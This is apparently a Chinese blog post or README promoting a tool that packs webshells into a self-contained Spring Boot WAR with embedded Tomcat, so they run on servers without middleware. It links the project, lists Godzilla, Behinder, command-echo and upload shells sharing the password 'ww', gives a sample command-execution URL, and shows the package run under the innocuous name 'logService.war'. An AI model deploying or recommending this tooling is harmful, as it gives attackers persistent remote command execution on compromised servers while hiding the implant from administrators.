前言
Java传统的Web shell多数以jsp方式部署在所依赖的中间件服务器运行,本文分享如何自带容器进行进行解析jsp。常见的服务器中间件有Tomcat、Weblogic、JBOSS、Coldfusion、Websphere、GlassFish等。本文不以介绍容器为重点,读者可自行科普。对应的连接工具也以连接jsp方式为主,例如:冰蝎、哥斯拉、蚁剑、菜刀。这也意味着服务器要能运行jsp。但随着互联网的发展和技术的更新迭代。现应用多数以容器的方向运行,服务器不在单独部署中间件。那么直接上传jsp将无运行条件,或者需要登录才能连接。随之实现自带容器部署及其重要,这样只需要服务器有jre环境,便可实现原有方式连接。
或许读者可能会想到,那为何不改造工具的连接payload呢,改造工具payload择篇进行介绍。
简介
关键字
自带容器shell 内置tomcatshell webshell
解决了什么问题?
1、服务器有java 运行环境,但无中间件部署,无法接入web shell
2、服务器有中间件部署,但利用条件苛刻需要登录
3、需要单独容器部署的其他情况
实现方式
实现方式也极其简单,使用springBoot 架构技术,将tomcat内置于jar包或者war包之中,再使用springMvc模块实现路由分发解析jsp。后直接以jar包方式运行
项目地址:
https://github.com/swordchime/chime_shadow.git
如何使用
将项目打包成war后,亦可直接下载war包使用,注意是war包,如果是jar包将无法访问jsp;
内置shell 情况 密码均是ww
shell 类型
shell类型 | 连接方式 | 备注 |
---|---|---|
哥斯拉连接马 | http://url/gesila |
|
冰蝎连接马 | http://url/bingxie |
|
普通cmd回显马 | http://url/index?pwd=ww&i=ls(cmd /c dir) |
|
普通上传马 | http://url/index?pwd=ww&i=up |
暂不可用 |
功能较全的web马 | http://url/kkf?pwd=ww |
暂不可用 |
执行方式
#默认端口是8080
java -jar logService.war
#指定端口运行
java -jar logService.war --server.port=80